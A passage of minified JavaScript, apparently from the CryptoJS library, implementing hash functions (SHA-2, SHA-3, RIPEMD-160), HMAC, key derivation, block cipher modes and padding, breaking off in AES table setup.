o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 